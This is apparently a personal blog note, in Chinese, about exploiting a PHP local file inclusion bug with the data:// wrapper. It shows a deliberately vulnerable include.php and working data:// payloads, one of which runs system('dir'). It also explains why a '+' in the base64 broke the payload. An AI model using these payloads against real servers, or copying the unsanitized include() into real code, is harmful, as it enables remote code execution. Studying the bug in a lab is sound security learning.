最近在看文件包含漏洞中的PHP僞協議,發現其中的一個data://方法不能使用?但是自己確實把php.ini裏面的allow_url_fopen和allow_url_include打開了。而且在web安全這本書裏面也是一模一樣的寫法?
最後才發現了問題,原來是編碼的問題。
實驗:
//include.php
<?php
@$file = $_GET['file'];
@include($file);
?>
通過data://text/plain協議來進行漏洞利用。
?file=data://text/plain,<?php phpinfo();?>
發現不能使用,而且自己的代碼沒有問題啊?不知道爲什麼?
然後測試
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
發現還是錯誤的????
然後測試下面的。成功~~~
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
總結:
通過實驗發現這個可能是編碼的問題因爲<?php phpinfo();?>在編成base64的時候出現了+。而瀏覽器不認識+號。所以解決方法
- 不寫後面的?> 因爲PHP裏面其實不需要寫後面的 前面的;號就已經說明結束了。如果沒有;號就必須寫?>作爲結束。
- 添加空格改變base64編碼。
- 將+號換成%2b
所以其實不需要通過base64編碼來實現!!!
將<?php phpinfo();?>改變成url編碼。這樣瀏覽器可以識別!
希望可以幫助朋友們~~~